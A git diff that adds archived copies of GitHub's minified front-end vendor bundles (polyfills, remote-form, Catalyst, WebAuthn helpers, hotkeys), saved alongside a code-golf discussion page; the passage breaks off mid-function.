globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..7337406 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const 